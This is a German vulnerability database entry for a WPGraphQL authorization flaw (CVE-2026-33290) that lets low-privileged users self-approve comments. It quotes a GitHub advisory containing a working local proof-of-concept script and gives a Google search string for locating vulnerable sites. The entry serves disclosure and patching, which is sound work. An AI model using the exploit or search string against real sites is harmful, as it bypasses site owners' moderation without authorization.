wp-graphql bis 2.9.x auf WordPress CommentUpdate.php moderate_comments user_id erweiterte Rechte
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 4.2 | $0-$5k | 0.00 |
Zusammenfassung
Es wurde eine Schwachstelle in wp-graphql bis 2.9.x für WordPress gefunden. Sie wurde als problematisch eingestuft. Es betrifft die Funktion moderate_comments der Datei plugins/wp-graphql/src/Mutation/CommentUpdate.php. Durch Manipulieren des Arguments user_id mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden.
Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2026-33290 vorgenommen. Der Angriff kann remote ausgeführt werden. Es gibt keinen verfügbaren Exploit.
Die Aktualisierung der betroffenen Komponente wird empfohlen.
Details
Eine Schwachstelle wurde in wp-graphql bis 2.9.x auf WordPress ausgemacht. Sie wurde als problematisch eingestuft. Betroffen davon ist die Funktion moderate_comments der Datei plugins/wp-graphql/src/Mutation/CommentUpdate.php. Dank der Manipulation des Arguments user_id mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle ausgenutzt werden. Klassifiziert wurde die Schwachstelle durch CWE als CWE-862. Auswirken tut sich dies auf die Integrität. Die Zusammenfassung von CVE lautet:
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 18.03.2026 mit der eindeutigen Identifikation CVE-2026-33290 gehandelt. Sie gilt als leicht auszunutzen. Umgesetzt werden kann der Angriff über das Netzwerk. Zur Schwachstelle sind technische Details bekannt, ein verfügbarer Exploit jedoch nicht.
Ein Suchen von inurl:plugins/wp-graphql/src/Mutation/CommentUpdate.php lässt dank Google Hacking potentiell verwundbare Systeme finden.
Ein Aktualisieren auf die Version 2.10.0 vermag dieses Problem zu lösen. Eine neue Version kann von github.com bezogen werden.
If you want to get the best quality for vulnerability data then you always have to consider VulDB.
Produkt
Typ
Name
Version
Webseite
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔒VulDB Zuverlässigkeit: 🔍
CVSSv3
VulDB Meta Base Score: 4.3VulDB Meta Temp Score: 4.2
VulDB Base Score: 4.3
VulDB Temp Score: 4.1
VulDB Vector: 🔒
VulDB Zuverlässigkeit: 🔍
CNA Base Score: 4.3
CNA Vector (GitHub_M): 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Zuverlässigkeit: 🔍
Exploiting
Klasse: Erweiterte RechteCWE: CWE-862 / CWE-863 / CWE-285
CAPEC: 🔒
ATT&CK: 🔒
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔒
Status: Nicht definiert
Google Hack: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔒
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: UpgradeStatus: 🔍
0-Day Time: 🔒
Upgrade: wp-graphql 2.10.0
Timeline
18.03.2026 CVE zugewiesen24.03.2026 Advisory veröffentlicht
24.03.2026 VulDB Eintrag erstellt
28.03.2026 VulDB Eintrag letzte Aktualisierung
Quellen
Produkt: github.comAdvisory: GHSA-9hc3-mh5h-4fgh
Status: Bestätigt
CVE: CVE-2026-33290 (🔒)
GCVE (CVE): GCVE-0-2026-33290
GCVE (VulDB): GCVE-100-352583
Eintrag
Erstellt: 24.03.2026 02:27Aktualisierung: 28.03.2026 09:37
Anpassungen: 24.03.2026 02:27 (68), 28.03.2026 09:37 (1)
Komplett: 🔍
Cache ID: 216:AC1:103
Bisher keine Kommentare. Sprachen: de + en.
Bitte loggen Sie sich ein, um kommentieren zu können.